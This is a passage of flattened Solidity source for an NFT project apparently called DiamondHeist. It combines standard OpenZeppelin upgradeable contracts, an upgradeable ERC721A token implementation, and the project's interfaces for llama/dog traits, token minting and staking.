address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721AUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; function __ERC721A_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721A_init_unchained(name_, symbol_); } function __ERC721A_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721AUpgradeable.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Equivalent to _mint(to, quantity, '', false). */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev This is equivalent to _burn(tokenId, false) */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /// @dev Returns the tokenIds of the address. O(totalSupply) in complexity. function tokensOfOwner(address owner) external view returns (uint256[] memory) { unchecked { uint256[] memory a = new uint256[](balanceOf(owner)); uint256 end = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; for (uint256 i; i < end; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { a[tokenIdsIdx++] = i; } } return a; } } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[42] private __gap; } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol"; interface IDiamondHeist is IERC721Upgradeable, IERC721MetadataUpgradeable { // struct to store each token's traits struct LlamaDog { bool isLlama; uint8 body; uint8 hat; uint8 eye; uint8 mouth; uint8 clothes; uint8 tail; uint8 alphaIndex; } function getPaidTokens() external view returns (uint256); function getTokenTraits(uint256 tokenId) external view returns (LlamaDog memory); function isLlama(uint256 tokenId) external view returns(bool); } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface IDIAMOND { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface IStaking { function addManyToStaking(address account, uint16[] calldata tokenIds) external; } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface ITraits { function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to 